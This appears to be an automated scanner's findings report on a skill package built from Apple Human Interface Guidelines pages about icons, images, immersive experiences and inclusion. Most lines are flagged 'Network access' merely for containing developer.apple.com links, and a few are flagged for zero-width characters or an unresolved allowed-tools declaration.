    Italic| ![An icon showing the capital letter I in italics.](https://docs-assets.developer.apple.com/published/9f560283ff88d8d1d4b48f278a831b7b/icons-symbols-meaning-italic%402x.png)| `italic`
  • Network accessline 101
    Underline| ![An icon showing the capital letter U with an underline.](https://docs-assets.developer.apple.com/published/3b0d371f10bde381bfa1c9a8999797ec/icons-symbols-meaning-underline%402x.png)| `underline`
  • Network accessline 102
    <U+200B><U+200B>Align Left| ![An icon showing a stack of four horizontal lines of varying widths that align at the left edge.](https://docs-assets.developer.apple.com/published/68c0ff42aa0ac813b57b663562198e15/icons-symbols-meaning-align-left%402x.png)| 
  • Possible obfuscationline 102
    <U+200B><U+200B>Align Left| ![An icon showing a stack of four horizontal lines of varying widths that align at the left edge.](https://docs-assets.developer.apple.com/published/68c0ff42aa0ac813b57b663562198e15/icons-symbols-meaning-align-left%402x.png)| 
  • Network accessline 103
    Center| ![An icon showing a stack of four horizontal lines of varying widths that align in the center.](https://docs-assets.developer.apple.com/published/a10b48c850a047efd4a72cc2919c30da/icons-symbols-meaning-align-center%402x.png)| `text.a
  • Network accessline 104
    Justified| ![An icon showing a stack of four horizontal lines of identical widths.](https://docs-assets.developer.apple.com/published/d71f35b4f71149b0b908dd1ff8cfe01e/icons-symbols-meaning-align-justified%402x.png)| `text.justify`
  • Network accessline 105
    Align Right| ![An icon showing a stack of four horizontal lines of varying widths that align at the right edge.](https://docs-assets.developer.apple.com/published/8af1da29f8f3173510521492642a82be/icons-symbols-meaning-align-right%402x.png)|
  • Network accessline 107
    ### [Search](https://developer.apple.com/design/human-interface-guidelines/icons#Search)
  • Network accessline 109
    Action| Icon| Symbol name   ---|---|---   Search| ![An icon showing a magnifying glass.](https://docs-assets.developer.apple.com/published/585f5454757731f942979247bf886ecb/icons-symbols-meaning-search%402x.png)| `magnifyingglass`
  • Network accessline 110
    ---|---|---   Search| ![An icon showing a magnifying glass.](https://docs-assets.developer.apple.com/published/585f5454757731f942979247bf886ecb/icons-symbols-meaning-search%402x.png)| `magnifyingglass`   Find| ![An icon showing a magnifying
  • Network accessline 111
    Search| ![An icon showing a magnifying glass.](https://docs-assets.developer.apple.com/published/585f5454757731f942979247bf886ecb/icons-symbols-meaning-search%402x.png)| `magnifyingglass`
  • Network accessline 112
    Find| ![An icon showing a magnifying glass above a document.](https://docs-assets.developer.apple.com/published/646c6a152822dde685e52a2791ff672f/icons-symbols-meaning-find%402x.png)| `text.page.badge.magnifyingglass`
  • Network accessline 115
    Find Previous   Use Selection for Find   Filter| ![An icon showing a stack of three horizontal lines decreasing in width from top to bottom.](https://docs-assets.developer.apple.com/published/e0924492d663dac952860673a61f4f96/icons-symbols-m
  • Network accessline 117
    Filter| ![An icon showing a stack of three horizontal lines decreasing in width from top to bottom.](https://docs-assets.developer.apple.com/published/e0924492d663dac952860673a61f4f96/icons-symbols-meaning-filter%402x.png)| `line.3.horizont
  • Network accessline 119
    ### [Sharing and exporting](https://developer.apple.com/design/human-interface-guidelines/icons#Sharing-and-exporting)
  • Network accessline 121
    Action| Icon| Symbol name   ---|---|---   Share| ![An icon showing an arrow pointing up from the middle of square.](https://docs-assets.developer.apple.com/published/b5fa28be3d82955fc380f44783befd32/icons-symbols-meaning-sharing%402x.png)| 
  • Network accessline 122
    ---|---|---   Share| ![An icon showing an arrow pointing up from the middle of square.](https://docs-assets.developer.apple.com/published/b5fa28be3d82955fc380f44783befd32/icons-symbols-meaning-sharing%402x.png)| `square.and.arrow.up`   Expo
  • Network accessline 123
    Share| ![An icon showing an arrow pointing up from the middle of square.](https://docs-assets.developer.apple.com/published/b5fa28be3d82955fc380f44783befd32/icons-symbols-meaning-sharing%402x.png)| `square.and.arrow.up`
  • Network accessline 125
    Print| ![An icon showing a printer.](https://docs-assets.developer.apple.com/published/9de4d23e30e6fd8331215dd6dab12878/icons-symbols-meaning-print%402x.png)| `printer`
  • Network accessline 127
    ### [Users and accounts](https://developer.apple.com/design/human-interface-guidelines/icons#Users-and-accounts)
  • Network accessline 129
    Action| Icon| Symbol name   ---|---|---   Account| ![An icon showing an abstract representation of a person’s head and shoulders in a circular outline.](https://docs-assets.developer.apple.com/published/512c86a1c2c99bc09991c89c1e535441/icon
  • Network accessline 130
    ---|---|---   Account| ![An icon showing an abstract representation of a person’s head and shoulders in a circular outline.](https://docs-assets.developer.apple.com/published/512c86a1c2c99bc09991c89c1e535441/icons-symbols-meaning-account-us
  • Network accessline 131
    Account| ![An icon showing an abstract representation of a person’s head and shoulders in a circular outline.](https://docs-assets.developer.apple.com/published/512c86a1c2c99bc09991c89c1e535441/icons-symbols-meaning-account-user%402x.png)| 
  • Network accessline 135
    ### [Ratings](https://developer.apple.com/design/human-interface-guidelines/icons#Ratings)
  • Network accessline 137
    Action| Icon| Symbol name   ---|---|---   Dislike| ![An icon showing a hand giving a thumbs down gesture.](https://docs-assets.developer.apple.com/published/189b97655ff655985deec03d0466b898/icons-symbols-meaning-dislike%402x.png)| `hand.thu
  • Network accessline 138
    ---|---|---   Dislike| ![An icon showing a hand giving a thumbs down gesture.](https://docs-assets.developer.apple.com/published/189b97655ff655985deec03d0466b898/icons-symbols-meaning-dislike%402x.png)| `hand.thumbsdown`   Like| ![An icon s
  • Network accessline 139
    Dislike| ![An icon showing a hand giving a thumbs down gesture.](https://docs-assets.developer.apple.com/published/189b97655ff655985deec03d0466b898/icons-symbols-meaning-dislike%402x.png)| `hand.thumbsdown`
  • Network accessline 140
    Like| ![An icon showing a hand giving a thumbs up gesture.](https://docs-assets.developer.apple.com/published/6f38eef523ffbb4f1d6de22a6a022309/icons-symbols-meaning-like%402x.png)| `hand.thumbsup`
  • Network accessline 142
    ### [Layer ordering](https://developer.apple.com/design/human-interface-guidelines/icons#Layer-ordering)
  • Network accessline 144
    Action| Icon| Symbol name   ---|---|---   Bring to Front| ![An icon showing a stack of three squares overlapping each other, with the top square using a solid fill style while the other squares are outlines.](https://docs-assets.developer.a
  • Network accessline 145
    ---|---|---   Bring to Front| ![An icon showing a stack of three squares overlapping each other, with the top square using a solid fill style while the other squares are outlines.](https://docs-assets.developer.apple.com/published/c5da33473
  • Network accessline 146
    Bring to Front| ![An icon showing a stack of three squares overlapping each other, with the top square using a solid fill style while the other squares are outlines.](https://docs-assets.developer.apple.com/published/c5da334738c9baf5ddaa0d6
  • Network accessline 147
    Send to Back| ![An icon showing a stack of three squares overlapping each other, with the bottom square using a solid fill style while the other squares are outlines.](https://docs-assets.developer.apple.com/published/1006037b6fa15950ca7ceb
  • Network accessline 148
    Bring Forward| ![An icon showing a stack of two squares overlapping each other, with the top square using a solid fill style while the other square is an outline.](https://docs-assets.developer.apple.com/published/88b18e0384bca2cd93151169bd
  • Network accessline 149
    Send Backward| ![An icon showing a stack of two squares overlapping each other, with the bottom square using a solid fill style while the other square is an outline.](https://docs-assets.developer.apple.com/published/49eb0ed5381249d763d30d4
  • Network accessline 151
    ### [Other](https://developer.apple.com/design/human-interface-guidelines/icons#Other)
  • Network accessline 153
    Action| Icon| Symbol name   ---|---|---   Alarm| ![An icon showing an alarm clock.](https://docs-assets.developer.apple.com/published/b777cb6bcc99642b037824c78a7efb0e/icons-symbols-meaning-alarm%402x.png)| `alarm`
  • Network accessline 154
    ---|---|---   Alarm| ![An icon showing an alarm clock.](https://docs-assets.developer.apple.com/published/b777cb6bcc99642b037824c78a7efb0e/icons-symbols-meaning-alarm%402x.png)| `alarm`   Archive| ![An icon showing a file box.](https://docs
  • Network accessline 155
    Alarm| ![An icon showing an alarm clock.](https://docs-assets.developer.apple.com/published/b777cb6bcc99642b037824c78a7efb0e/icons-symbols-meaning-alarm%402x.png)| `alarm`
  • Network accessline 156
    Archive| ![An icon showing a file box.](https://docs-assets.developer.apple.com/published/50a3b677d72b3d031ea66d10198bfb59/icons-symbols-meaning-archive%402x.png)| `archivebox`
  • Network accessline 157
    Calendar| ![An icon showing a calendar.](https://docs-assets.developer.apple.com/published/4b14bf07cf562405caebedb2e200e3dc/icons-symbols-meaning-calendar%402x.png)| `calendar`
  • Network accessline 159
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/icons#Platform-considerations)
  • Network accessline 163
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/icons#macOS)
  • Network accessline 165
    #### [Document icons](https://developer.apple.com/design/human-interface-guidelines/icons#Document-icons)
  • Network accessline 171
    ![An image of the Preview document icon for a JPG file.](https://docs-assets.developer.apple.com/published/bfe462604c63811cb542e7c0fc46185e/doc-icon-generated%402x.png)
  • Network accessline 175
    ![Image of an Xcode project document icon.](https://docs-assets.developer.apple.com/published/8cd56a7291cd6b41fe391958f704c823/doc-icon-custom-1%402x.png)
  • Network accessline 177
    ![Image of a document icon for an AR object.](https://docs-assets.developer.apple.com/published/a1449177968f693c1bd68c2b146df7c3/doc-icon-custom-2%402x.png)
  • Network accessline 179
    ![Image of a document icon for a Swift file.](https://docs-assets.developer.apple.com/published/495bd043bf65349ec96f6728941386f8/doc-icon-custom-3%402x.png)
  • Network accessline 183
    ![A square canvas that contains a grid of pink lines and a jagged white EKG line that runs horizontally across the middle. The pink grid gets lighter in color toward the bottom edge.](https://docs-assets.developer.apple.com/published/2aed44
  • Network accessline 185
    ![A solid pink heart.](https://docs-assets.developer.apple.com/published/b59c836903d1b409ab9e21f81762df3e/doc-icon-parts-center-image%402x.png)Center image
  • Network accessline 187
    ![The word heart in all caps.](https://docs-assets.developer.apple.com/published/56c5adedc0c08a167a4a03e706924ee6/doc-icon-parts-text%402x.png)Text
  • Network accessline 189
    ![A custom document icon that displays the pink heart and the word heart on top of the pink grid and white EKG line.](https://docs-assets.developer.apple.com/published/d5da9148d27f60891780ab1a9546a111/doc-icon-parts%402x.png)macOS composite
  • Network accessline 191
    [Apple Design Resources](https://developer.apple.com/design/resources/#macos-apps) provides a template you can use to create a custom background fill and center image for a document icon. As you use this template, follow the guidelines belo
  • Network accessline 197
    ![Image of an Xcode project document icon.](https://docs-assets.developer.apple.com/published/8cd56a7291cd6b41fe391958f704c823/doc-icon-custom-1%402x.png)
  • Network accessline 199
    ![Image of a TextEdit rich text document icon.](https://docs-assets.developer.apple.com/published/f32709a5ff5742e79fd03a58ae1dd9c6/doc-icon-fill-only%402x.png)
  • Network accessline 203
    ![Pixelated image of the heart document icon. The grid, the EKG line, the heart shape, and the word heart are visible but blurry.](https://docs-assets.developer.apple.com/published/1f8bc7946a75363224f373924b557a3a/doc-icon-fewer-details-1%4
  • Network accessline 205
    ![Pixelated image of the heart document icon, in which only the blurry heart shape and EKG line are visible.](https://docs-assets.developer.apple.com/published/e46ac887801d9a16393948c3f2098715/doc-icon-fewer-details-2%402x.png)The 16x16 px 
  • Network accessline 207
    ![Pixelated image of the heart document icon, in which only the blurry heart shape is visible.](https://docs-assets.developer.apple.com/published/fd0d2afcd76a9b25c1217ef2ffb1ad0e/doc-icon-fewer-details-3%402x.png)The 16x16 px @1x icon has n
  • Network accessline 239
    ![Diagram of the solid pink heart shape within blue margins that measure 10 percent of the canvas width.](https://docs-assets.developer.apple.com/published/7cc19b2ae1e99d26ba69e1351683ede1/doc-icon-parts-margins%402x.png)
  • Network accessline 243
    ![Image of a SceneKit scene document icon.](https://docs-assets.developer.apple.com/published/3b4bb7de9edb5870d3a162aae8153163/doc-icon-custom-extension%402x.png)
  • Network accessline 245
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/icons#Resources)
  • Network accessline 247
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/icons#Related)
  • Network accessline 249
    [App icons](https://developer.apple.com/design/human-interface-guidelines/app-icons)
  • Network accessline 251
    [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols)
  • Network accessline 253
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/icons#Videos)
  • Network accessline 255
    [![](https://devimages-cdn.apple.com/wwdc-services/images/7/597D59A1-F123-4B08-BEE1-6D79A4C22268/1914_wide_250x141_1x.jpg) Designing Glyphs ](https://developer.apple.com/videos/play/wwdc2017/823)
  • Network accessline 257
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/icons#Change-log)

skills/hig-foundations/references/images.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Images | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/images
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/images
  • Network accessline 9
    ![A sketch of a photo, suggesting imagery. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in the original six-color Apple logo.](https://docs-assets.developer.apple.com/publi
  • Network accessline 11
    ## [Resolution](https://developer.apple.com/design/human-interface-guidelines/images#Resolution)
  • Network accessline 19
    ![Image of a circle that's in standard resolution at scale factor of @1x, and is 10 by 10 pixels.](https://docs-assets.developer.apple.com/published/a9b04545f30aff45ca503e263c02d464/image-resolution-1x%402x.png)1x (10x10 px)
  • Network accessline 21
    ![Image of a circle that's in high resolution at a scale factor of @2x, and is 20 by 20 pixels.](https://docs-assets.developer.apple.com/published/cf203acc0ee6299833fb2e5b5c4a7348/image-resolution-2x%402x.png)2x (20x20 px)
  • Network accessline 23
    ![Image of a circle that's in high resolution at a scale factor of @3x, and is 30 by 30 pixels.](https://docs-assets.developer.apple.com/published/0de9ee5144fc2278682eb211ac8f571d/image-resolution-3x%402x.png)3x (30x30 px)
  • Network accessline 25
    **Provide high-resolution assets for all bitmap images in your app, for every device you support.** As you add each image to your project’s asset catalog, identify its scale factor by appending “@1x,” “@2x,” or “@3x” to its filename. Use th
  • Network accessline 29
    iPadOS, watchOS| @2x   iOS| @2x and @3x   visionOS| @2x or higher (see [visionOS](https://developer.apple.com/design/human-interface-guidelines/images#visionOS))
  • Network accessline 30
    iOS| @2x and @3x   visionOS| @2x or higher (see [visionOS](https://developer.apple.com/design/human-interface-guidelines/images#visionOS))   macOS, tvOS| @1x and @2x
  • Network accessline 31
    visionOS| @2x or higher (see [visionOS](https://developer.apple.com/design/human-interface-guidelines/images#visionOS))
  • Network accessline 36
    ## [Formats](https://developer.apple.com/design/human-interface-guidelines/images#Formats)
  • Network accessline 48
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/images#Best-practices)
  • Network accessline 50
    **Include a color profile with each image.** Color profiles help ensure that your app’s colors appear as intended on different displays. For guidance, see [Color management](https://developer.apple.com/design/human-interface-guidelines/colo
  • Network accessline 54
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/images#Platform-considerations)
  • Network accessline 58
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/images#tvOS)
  • Network accessline 62
    #### [Parallax effect](https://developer.apple.com/design/human-interface-guidelines/images#Parallax-effect)
  • Network accessline 74
    #### [Layered images](https://developer.apple.com/design/human-interface-guidelines/images#Layered-images)
  • Network accessline 80
    Your tvOS [app icon](https://developer.apple.com/design/human-interface-guidelines/app-icons#tvOS) must use a layered image. For other focusable images in your app, including [Top Shelf](https://developer.apple.com/design/human-interface-gu
  • Network accessline 82
    You can embed layered images in your app or retrieve them from a content server at runtime. For guidance on adding layered images to your app, see the [Parallax Previewer User Guide](https://help.apple.com/itc/parallaxpreviewer/).
  • Network accessline 88
    **Use standard interface elements to display layered images.** If you use standard views and system-provided focus APIs — such as [`FocusState`](https://developer.apple.com/documentation/SwiftUI/FocusState) — layered images automatically ge
  • Network accessline 98
    **Leave a safe zone around the foreground layers of your image.** When focused, content on some layers may be cropped as the layered image scales and moves. To ensure that essential content is always visible, keep it within a safe zone. For
  • Network accessline 100
    **Always preview layered images.** To ensure your layered images look great on Apple TV, preview them throughout your design process using Xcode, the Parallax Previewer app for macOS, or the Parallax Exporter plug-in for Adobe Photoshop. Pa
  • Network accessline 102
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/images#visionOS)
  • Network accessline 106
    **Create a layered app icon.** App icons in visionOS are composed of two to three layers that provide the appearance of depth by moving at subtly different rates when the icon is in focus. For guidance, see [Layer design](https://developer.
  • Network accessline 108
    **Prefer vector-based art for 2D images.** Avoid bitmap content because it might not look good when the system scales it up. If you use Core Animation layers, see [Drawing sharp layer-based content in visionOS](https://developer.apple.com/d
  • Network accessline 110
    **If you need to use rasterized images, balance quality with performance as you choose a resolution.** Although a @2x image looks fine at common viewing distances, its fixed resolution means that the system doesn’t dynamically scale it and 
  • Network accessline 112
    #### [Spatial photos and spatial scenes](https://developer.apple.com/design/human-interface-guidelines/images#Spatial-photos-and-spatial-scenes)
  • Network accessline 114
    In addition to 2D and stereoscopic images, visionOS apps and games can use RealityKit to display spatial photos and spatial scenes. A _spatial photo_ is a stereoscopic photo with additional spatial metadata, as captured on iPhone 15 Pro or 
  • Network accessline 118
    **Prefer the feathered glass background effect to display text over spatial photos.** If you need to place text over a spatial photo in your app or game, use the feathered glass background effect. The effect adds contrast to make the text r
  • Network accessline 120
    **Take visual comfort into consideration when you make spatial photos from existing 2D content.** When adjusting the spatial metadata of a photo for your app or game, consider how you want people to view your content. Metadata like disparit
  • Network accessline 130
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/images#watchOS)
  • Network accessline 146
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/images#Resources)
  • Network accessline 148
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/images#Related)
  • Network accessline 150
    [Apple Design Resources](https://developer.apple.com/design/resources/)
  • Network accessline 152
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/images#Developer-documentation)
  • Network accessline 154
    [Drawing sharp layer-based content in visionOS](https://developer.apple.com/documentation/visionOS/drawing-sharp-layer-based-content) — visionOS
  • Network accessline 156
    [Images](https://developer.apple.com/documentation/SwiftUI/Images) — SwiftUI
  • Network accessline 158
    [`UIImageView`](https://developer.apple.com/documentation/UIKit/UIImageView) — UIKit
  • Network accessline 160
    [`NSImageView`](https://developer.apple.com/documentation/AppKit/NSImageView) — AppKit
  • Network accessline 162
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/images#Videos)
  • Network accessline 164
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/8226C70F-64DC-4FF1-9956-2DC0751A2143/8241_wide_250x141_1x.jpg) Support HDR images in your app ](https://developer.apple.com/videos/play/wwdc2023/
  • Network accessline 166
    [![](https://devimages-cdn.apple.com/wwdc-services/images/7/09438FDD-3E8B-42A3-A364-78E1A7F2CE6B/1915_wide_250x141_1x.jpg) Get Started with Display P3 ](https://developer.apple.com/videos/play/wwdc2017/821)
  • Network accessline 168
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/images#Change-log)

skills/hig-foundations/references/immersive-experiences.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Immersive experiences | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/immersive-experiences
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/immersive-experiences
  • Network accessline 9
    ![A sketch that suggests Apple Vision Pro. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in the original six-color Apple logo.](https://docs-assets.developer.apple.com/publi
  • Network accessline 13
    ## [Immersion and passthrough](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Immersion-and-passthrough)
  • Network accessline 17
    People can also use the [Digital Crown](https://developer.apple.com/design/human-interface-guidelines/digital-crown) at any time to manage app or game content or adjust passthrough. For example, people can press and hold the Digital Crown t
  • Network accessline 21
    ### [Immersion styles](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Immersion-styles)
  • Network accessline 23
    When your app or game transitions to a Full Space, the system hides other apps so people can focus on yours. In a Full Space, you can display 3D content that isn’t bound by a window, in addition to content in standard windows and volumes. F
  • Network accessline 27
    * **Use dimmed passthrough to bring attention to your content.** You can subtly dim or tint passthrough and other visible content to bring attention to your app in the Shared Space without hiding other apps and games, or create a more focus
  • Network accessline 37
    ![A screenshot of a window in the Shared Space.](https://docs-assets.developer.apple.com/published/3aa6d97e5947c39a73cfd8dd7e9c4dff/immersive-spaces-shared-space-regular-content%402x.png)
  • Network accessline 39
    ![A screenshot of a highlighted window in the Shared Space with dimmed passthrough.](https://docs-assets.developer.apple.com/published/d6645a2853d8dc87e99062f5f575222b/immersive-spaces-shared-space-dimmed-content%402x.png)
  • Network accessline 41
    * **Create unbounded 3D experiences.** Use the `mixed` immersion style in a Full Space to blend your content with passthrough. When your app or game runs in a Full Space, you can request access to information about nearby physical objects a
  • Network accessline 43
    * **Use`progressive` immersion to blend your custom environment with a person’s surroundings.** You can use the `progressive` style in a Full Space to display a custom environment that partially replaces passthrough. You can also define a s
  • Network accessline 54
    * **Use`full` immersion to create a fully immersive experience.** You can use the `full` style in a Full Space to display a 360-degree custom environment that completely replaces passthrough and transports people to a new place. As with the
  • Network accessline 65
    ![A screenshot of an app running in a Full Space using the mixed immersion style in visionOS.](https://docs-assets.developer.apple.com/published/bb7e4d2d5f14673af8223f16b8ef8367/immersive-spaces-full-space-mixed-style%402x.png)Mixed immersi
  • Network accessline 67
    ![A screenshot of an app running in a Full Space using the progressive immersion style in visionOS.](https://docs-assets.developer.apple.com/published/7c6bd28f709239805551dfe4db2f4f0e/immersive-spaces-full-space-progressive-style%402x.png)P
  • Network accessline 69
    ![A screenshot of an app running in a Full Space using the full immersion style in visionOS.](https://docs-assets.developer.apple.com/published/3e8f31614811987239868bca745cd798/immersive-spaces-full-space-full-style%402x.png)Full immersion 
  • Network accessline 71
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Best-practices)
  • Network accessline 73
    **Offer multiple ways to use your app or game.** In addition to giving people the freedom to choose their experiences, it’s essential to design your software to support the accessibility features people use to personalize the ways they inte
  • Network accessline 79
    **Help people engage with key moments in your app or game, regardless of the level of immersion.** Cues like dimming, tinting, [motion](https://developer.apple.com/design/human-interface-guidelines/motion), [scale](https://developer.apple.c
  • Network accessline 81
    **Prefer subtle tint colors for passthrough.** In visionOS 2 and later, you can tint passthrough to help a person’s surroundings visually coordinate with your content, while also making their hands look like they belong in your experience. 
  • Network accessline 83
    ## [Promoting comfort](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Promoting-comfort)
  • Network accessline 85
    **Be mindful of people’s visual comfort.** For example, although you can place 3D content anywhere while your app or game is running in a Full Space, prefer placing it within people’s [field of view](https://developer.apple.com/design/human
  • Network accessline 93
    **Adopt ARKit if you want to blend custom content with someone’s surroundings.** For example, you might want to integrate virtual content into someone’s surroundings or use the wearer’s hand positions to inform your experience. If you need 
  • Network accessline 95
    ## [Transitioning between immersive styles](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Transitioning-between-immersive-styles)
  • Network accessline 97
    **Design smooth, predictable transitions when changing immersion.** Help people prepare for different experiences by providing gentle transitions that let people visually track changes. Avoid sudden, jarring transitions that might be disori
  • Network accessline 103
    ## [Displaying virtual hands](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Displaying-virtual-hands)
  • Network accessline 113
    ## [Creating an environment](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Creating-an-environment)
  • Network accessline 121
    **Keep animation subtle.** Small, gentle movements, like clouds drifting or transforming, can enrich your custom environment without distracting people or making them uncomfortable. Always avoid displaying too much movement near the edges o
  • Network accessline 125
    **Use Spatial Audio to create atmosphere.** In visionOS, you use Spatial Audio to play sound that people can perceive as coming from specific locations in space, not just from speakers (for guidance, see [Playing audio](https://developer.ap
  • Network accessline 133
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Platform-considerations)
  • Network accessline 137
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Resources)
  • Network accessline 139
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Related)
  • Network accessline 141
    [Spatial layout](https://developer.apple.com/design/human-interface-guidelines/spatial-layout)
  • Network accessline 143
    [Motion](https://developer.apple.com/design/human-interface-guidelines/motion)
  • Network accessline 145
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Developer-documentation)
  • Network accessline 147
    [Creating fully immersive experiences in your app](https://developer.apple.com/documentation/visionOS/creating-fully-immersive-experiences) — visionOS
  • Network accessline 149
    [Incorporating real-world surroundings in an immersive experience](https://developer.apple.com/documentation/visionOS/incorporating-real-world-surroundings-in-an-immersive-experience) — visionOS
  • Network accessline 151
    [`ImmersionStyle`](https://developer.apple.com/documentation/SwiftUI/ImmersionStyle) — visionOS
  • Network accessline 153
    [Immersive spaces](https://developer.apple.com/documentation/SwiftUI/Immersive-spaces) — SwiftUI
  • Network accessline 155
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Videos)
  • Network accessline 157
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/15489B11-8744-483D-AD38-EF78D8962FF4/8126_wide_250x141_1x.jpg) Principles of spatial design ](https://developer.apple.com/videos/play/wwdc2023/10
  • Network accessline 159
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/942191E7-9B98-487D-AE81-400D58285B31/8129_wide_250x141_1x.jpg) Design spatial SharePlay experiences ](https://developer.apple.com/videos/play/wwd
  • Network accessline 161
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/BEBF6FDD-D987-4A45-AF6F-6D4C4575E69F/9198_wide_250x141_1x.jpg) Create custom environments for your immersive apps in visionOS ](https://developer
  • Network accessline 163
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Change-log)

skills/hig-foundations/references/inclusion.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Inclusion | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/inclusion
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/inclusion
  • Network accessline 9
    ![A sketch of two people, suggesting inclusion. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in the original six-color Apple logo.](https://docs-assets.developer.apple.com/
  • Network accessline 15
    ## [Inclusive by design](https://developer.apple.com/design/human-interface-guidelines/inclusion#Inclusive-by-design)
  • Network accessline 52
    ## [Welcoming language](https://developer.apple.com/design/human-interface-guidelines/inclusion#Welcoming-language)
  • Network accessline 64
    **Consider carefully before including humor.** Humor is highly subjective and — similar to colloquial expressions — difficult to translate from one culture to another. Including humor in your experience risks confusing people who donʼt unde
  • Network accessline 66
    ## [Being approachable](https://developer.apple.com/design/human-interface-guidelines/inclusion#Being-approachable)
  • Network accessline 70
    * Present a clear, straightforward interface. To help you design a simple interface that fits in with other experiences on each platform, see [Designing for iOS](https://developer.apple.com/design/human-interface-guidelines/designing-for-io
  • Network accessline 72
    * Build in ways to learn how to use your app or game. Consider designing an onboarding flow that helps people who are new to your experience take a step-by-step approach while letting others skip straight to the content they want. For guida
  • Network accessline 77
    ## [Gender identity](https://developer.apple.com/design/human-interface-guidelines/inclusion#Gender-identity)
  • Network accessline 87
    ![A solid silhouette of a person from the shoulders up, within a circle.](https://docs-assets.developer.apple.com/published/22f3909c1b433ca2181d2fdcf193fff7/person-crop-circle%402x.png)person.crop.circle
  • Network accessline 89
    ![Solid silhouettes of three people, with the left silhouette in the foreground and the other two in the background, all from the shoulders up.](https://docs-assets.developer.apple.com/published/5edbc84a409deb59e72f4d780b8e7b94/person-3-fil
  • Network accessline 91
    ![A solid silhouette of a person standing with an arm raised high on the left side of the image.](https://docs-assets.developer.apple.com/published/ea7ebde0ec424a8dc74961a3670724b2/figure-wave%402x.png)figure.wave
  • Network accessline 95
    ## [People and settings](https://developer.apple.com/design/human-interface-guidelines/inclusion#People-and-settings)
  • Network accessline 103
    ## [Avoiding stereotypes](https://developer.apple.com/design/human-interface-guidelines/inclusion#Avoiding-stereotypes)
  • Network accessline 133
    ## [Accessibility](https://developer.apple.com/design/human-interface-guidelines/inclusion#Accessibility)
  • Network accessline 152
    **Take a people-first approach when writing about people with disabilities.** For example, you could describe an individual’s accomplishments and goals before mentioning a disability they may have. If you’re writing about a specific person 
  • Network accessline 156
    To learn more about making your app or game accessible, see [Accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility).
  • Network accessline 158
    ## [Languages](https://developer.apple.com/design/human-interface-guidelines/inclusion#Languages)
  • Network accessline 160
    People expect to customize their device by choosing a language for text and a region for formatting values like date, time, and money. To welcome a global audience, first prepare your software to handle languages and regions other than your
  • Network accessline 162
    Creating an inclusive experience can also help you prepare for localization. For example, using plain language, avoiding unnecessary gender references, representing a variety of people, and avoiding stereotypes and culture-specific content,
  • Network accessline 166
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/inclusion#Platform-considerations)
  • Network accessline 170
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/inclusion#Resources)
  • Network accessline 172
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/inclusion#Related)
  • Network accessline 174
    [Writing inclusively](https://help.apple.com/applestyleguide/#/apdcb2a65d68)
  • Network accessline 176
    [Accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility)
  • Network accessline 178
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/inclusion#Developer-documentation)
  • Network accessline 180
    [Localization](https://developer.apple.com/documentation/Xcode/localization) — Xcode
  • Network accessline 182
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/inclusion#Videos)
  • Network accessline 184
